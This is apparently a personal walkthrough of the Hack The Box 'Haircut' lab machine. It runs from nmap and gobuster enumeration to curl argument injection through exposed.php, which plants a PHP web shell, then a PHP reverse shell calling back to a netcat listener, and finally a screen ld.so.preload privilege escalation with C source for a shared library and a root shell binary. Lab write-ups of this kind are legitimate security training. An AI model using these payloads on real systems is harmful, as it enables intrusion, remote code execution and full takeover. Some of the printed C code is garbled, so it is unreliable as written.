Enumeration
Nmap
nmap -sV -sC -p- -T4 --min-rate=1000 10.129.58.18
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-15 12:54 GMT
Nmap scan report for ip-10-129-58-18.ec2.internal (10.129.58.18)
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e975c1e4b3633c93f2c618083648ce36 (RSA)
| 256 8700aba98f6f4bbafbc67a55a860b268 (ECDSA)
|_ 256 b61b5ca9265cdc61b775906c88516e54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.28 seconds
HTTP enumeration
- We can check for different directories, using gobuster
- We find an /uploads/ directory, as well as an exposed.php endpoint.
gobuster dir -u http://10.129.58.18/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.58.18/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 194] [--> http://10.129.58.18/uploads/]
/exposed.php (Status: 200) [Size: 446]
![[Pasted image 20251115125950.png]]
![[Pasted image 20251115130019.png]]
Foothold
- The exposed.php endpoint accepts a URL and appears to send a request to it.
- We set up a listener with netcat to inspect the raw request
nc -nvlp 8000
- We then send a request to our machine's IP via the web application ![[Pasted image 20251115130313.png]]
- After pressing Go , the website hangs, as it is waiting on a response from our listener, which caught the request
nc -nvlp 8000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 10.129.58.18.
Ncat: Connection from 10.129.58.18:37018.
GET / HTTP/1.1
Host: 10.10.16.35:8000
User-Agent: curl/7.47.0
Accept: */*
- We can see the curl User-Agent header, indicating that the server likely uses the command-line utility cURL to make the request.
- This opens up the target to command injection.
- If our input is passed directly to the command, we might be able to append the -o flag to save the curl output to a file.
- More specifically, since we can access the /uploads/ directory on the web server, we could upload a web shell there and obtain remote code execution.
PHP shell creation
echo '<?php system($_GET["melo"]); ?>' > shell.php
- After, we start python3 -m http.server 8000 and direct the exposed.php upload to our IP so that the shell.php we created gets uploaded
- Finally, we use the following payload to inject the flag and save the file to the uploads directory:
http://10.10.16.35:8000/shell.php -o uploads/shell.php
![[Pasted image 20251115130725.png]]
- After, we can check for the ID
curl http://10.10.10.24/uploads/shell.php?melo=id
- This in return shows:
curl http://10.129.58.18/uploads/shell.php\?melo\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- That proves successful RCE on the webserver
RCE and rev shell
- We can leverage this to an interactive shell by using a pre-made PHP reverse shell _script.
- https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- Need to change IP and PORT to our IP machine and port ... let's say 4444
- Then we upload the reverse shell with -o for output
http://10.10.16.35:8000/php-reverse-shell.php -o uploads/php-reverse-shell.php
![[Pasted image 20251115132400.png]]
- Afterwards, starting netcat to listen and then curl the address
![[Pasted image 20251115132828.png]]
- We receive a shell and can find a flag in /home/maria/user.txt
nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.58.18.
Ncat: Connection from 10.129.58.18:50620.
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
14:28:04 up 37 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd ..
$ cd home
$ ls
maria
$ cd maria
$ cat user.txt
40a8abf6a522155f4b3a00c5a9bddb8a
Privilege Escalation
- We start searching for potential abuse through SUID
find / perm/4000 2>/dev/null
-
This command searches the entire file system for executable files that have the SUID bit set, and it hides any permission-related errors
-
After following the walkthrough, will have to check a video on it how to find it in the future... ![[Pasted image 20251115133852.png]]
The screen stands out ... There is a whole exploitDB on it: https://www.exploit-db.com/exploits/41154/
From this point onwards ... it was a full walkthrough as we had to create a code in C to abuse it. Notes before from walkthrough ...
- cd into /tmp
- We start by creating the libhax.c file on the target machine, by running this command:
cat < EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
___attribute__ ((__constructor__))
void dropshell(void){
chown__(__"/tmp/rootshell", 0, 0);
chmod__(__"/tmp/rootshell", 04755);
unlink(__"/etc/ld.so.preload");
printf(__"[+] done!\n");
}
EOF
- Then we try to compile it with gcc
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:2: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^
- After we create a rootshell and try to compile it too
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF>
gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:1: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
setuid(0);
^
/tmp/rootshell.c:4:1: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
setgid(0);
^
/tmp/rootshell.c:5:1: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
seteuid(0);
^
/tmp/rootshell.c:6:1: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
setegid(0);
^
/tmp/rootshell.c:7:1: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^
- Afterwards we use /tmp/rootshell command
- We get some more errors, but the binary has been compiled successfully
file /tmp/rootshell
/tmp/rootshell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f85
13798477f86cceb2a5f98a0f26494388b9349, not stripped
- Finally as per script in the exploit we run:
$ cd /etc
$ umask 000
$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ screen -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
- This then in return allows us to become a root ...
$ /tmp/rootshell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
c8b8b0ee5594d57d721e9b29178ff380